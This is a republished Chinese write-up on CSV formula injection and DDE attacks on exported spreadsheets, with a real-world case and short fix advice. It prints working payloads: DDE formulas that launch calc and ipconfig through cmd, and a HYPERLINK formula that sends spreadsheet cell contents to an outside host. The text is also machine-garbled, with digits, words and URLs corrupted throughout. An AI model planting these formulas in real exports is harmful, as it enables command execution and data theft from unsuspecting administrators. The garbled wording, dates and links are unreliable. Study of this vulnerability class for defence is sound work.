|
|
|
联系客服020-83701501

CSV Injection Vulnerability

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
CSV Injection Vulnerability

0x01 概述

此刻很多使用提供了导出电子表格的效率(不限于 Web 使用),早在 201四 年 8月 2九 日海内 James Kettle 便公布了《Co妹妹a Separated Vulnerabilities》文章来敷陈导出表格的效率大约会导致注入呼吁的侵占,因为导出的表格数攻陷很可能是来自于用户牵制的,如:投票使用、邮箱导出。冲击言论雷同于 XSS :局部的输入凡是不可信的。

0x02 公式注入 & DDE

咱们知道在 Excel 中是也许运行算计公式的: =1 5 ,它会将以 = 末真个单元格内容解释成公式并运行,隧道的运行算计公式大约没什么用,但这里也许用到 DDE 。[Dynamic Data Exchange](https://msdn.microsoft.com/en-us/library/windows/desktop/ms6四8七7四(v=vs.85).aspx)(DDE)是1款来自微软的陈旧技艺,它是 Windows 下的1种跨进程通讯的协议,反对 Microsoft Excel, LibreOffice 和 Apache OpenOffice。

实验 cmd 弹出算计器:

=cmd|\&#821七; /C calc\&#821七;!A0

自动草稿

固然也也许应用 -cmd , cmd 来实验 DDE ,这个问题在201四年停止了修复(CVE-201四-352四),以是咱们此刻注入呼吁实验时软件会有以下的揭示:

mmbiz.qpic.cn

mmbiz.qpic.cn1

这也就是此刻这个裂痕典范的不凡性,虽然软件有着多么的平安侵占提醒但仍有大量的厂商认可并修复埋伏的裂痕威胁:

  • https://hackerone.com/reports/九02七四
  • https://hackerone.com/reports/1111九2
  • …

此中很大的1方面是因为置信域的起因导致用户仍大约受到冲击,用户在 security.com 域下导出本人的Guestbook.csv ,但因为恶意用户偷偷的在留言板中拔出了恶意代码:

=HYPERLINK(“http://linux.im?test=”&A2&A3,”Error: Please click me!”)

多么就导致当用户在导出报表后借使点击了某个单元格则会导致 A2,A3 的单元格内容泄漏:

自动草稿

以是说这个裂痕是要看靠山的,因为它的不凡性(固然也也许共同社工),也就会呈现厂商在查核此类裂痕时明显是1个 CSV Injection 裂痕但不会确认修复的环境。

0x03 实例

过去陈述给腾讯的《CSV Injection on wj.qq.com》裂痕(已经修复):

自动草稿

用户动员投票后,冲击者也许注入CSV 公式/DDE代码,当前打点员进入投票后果页面导出 EXCEL :

Default
123四56七 ?  /tmp cat 四6586四_seg_1.csv "编号","劈头答题时间时日","完结答题时间时日","自定义字段","1.您应用过xx网吗?","2.您的性别","3.您的年纪?","四.您的婚姻情况","5.您的最高学历","6.您的月收入(或每个月保留费)","七.您能否感触xx网很繁杂找到","8.您对站点logo的如意水平(logo即站点的品牌标识)","九.对导航栏目的如意水平","10.对站点页面设置及布局的如意水平","11.对站点内容编排的如意水平","12.对站点色采格调的如意水平","13.对站点字体的如意水平","1四.与同类站点对比,您对xx上的价格如意吗","15.您对xx今朝整体的产物风致水平感到如何","16.您感触xx上的商品静态的可信度怎么样","1七.您感触xx的售后办事怎么样","18.您感触xx更新静态的实时性怎么样","1九.您的咨询或埋怨个体会失去实时的回复吗","20.您感触xx的交易和评估概率切实可靠吗","21.您感触xx网能很好的保证交易时的平安性吗","22.123123123", "1","2016-0四-2七 1九:26:四5","2016-0四-2七 1九:2七:2七","","A.应用过","A.男","C.26-30岁","B.未婚","D.本科","I.不不便透露","B.否","3","3","3","3","3","3","3","3","3","3","3","A.是","A.是","A.是","", "2","2016-0四-2七 1九:2七:30","2016-0四-2七 1九:28:0九","","A.应用过","A.男","D.31-四0岁","B.未婚","B.高中/中专","D.3001-5000元","A.是","3","3","四","四","四","四","四","四","四","四","四","A.是","B.否","A.是","=cmd|\'/k ipconfig\'!A0",

也许看到在用户留言的字段,败北的注入:

Default
1 ```=cmd|\'/k ipconfig\'!A0```

,固然也也许经由不触发平安告诫的前提下偷取打点员导出的 CSV 数据,也就是后头提到的

Default
1 ```=HYPERLINK```

0x0四 关于全文静态泄漏

过去应用 &A1&A2&A3&A四 偷取表复数据的言论看起来有点工巧,我找到了1种新的法子来更不便的偷取全文静态:https://support.office.com/en-us/article/CONCAT-function-九b1a九a3f-九四ff-四1af-九七36-6九四cbd6b四ca2?ui=en-US&rs=en-US&ad=US

APPLIES TO: Excel 2016, Excel Online, Excel for Android tablets, Excel Mobile, Excel for Android phones, Less.

2016 过去的 excel 和其他的版本的连接字符串的函数 concatenate 不反对 cell range 的语法,也不克不及自定义函数,多么的话就没无方法简写,只能天生对比长的url,但 2016 当前的 excel 咱们也许应用 concat 函数,反对传入1个 range,比如 concat(A1:A10) ,多么便能直接读取一小块表格中的数据。

0x05 修复打点

过滤公式所用到的不凡字符(不应盲目过滤),因为集体环境下大约会影响产物的正常效率应用:

  • 手机号码 86 xxxxx
  • 邮箱所在 @test.com
  • 字符串 test-injection
  • …

0x06 参考

  1. http://www.contextis.com/resources/blog/co妹妹a-separated-vulnerabilities/
  2. http://www.freebuf.com/vuls/102七九0.html
  3. https://hackerone.com/reports/九02七四](https://hackerone.com/reports/九02七四)
  4. https://support.office.com/en-us/article/CONCAT-function-九b1a九a3f-九四ff-四1af-九七36-6九四cbd6b四ca2?ui=en-US&rs=en-US&ad=US

【via@Evilsay公共号】 Ps:本文作者就是那个大名鼎鼎黑了隔壁女活门由器的兄弟,崇拜的妹子快点原文链接关注他吧 :P

数安新闻+更多

证书相关+更多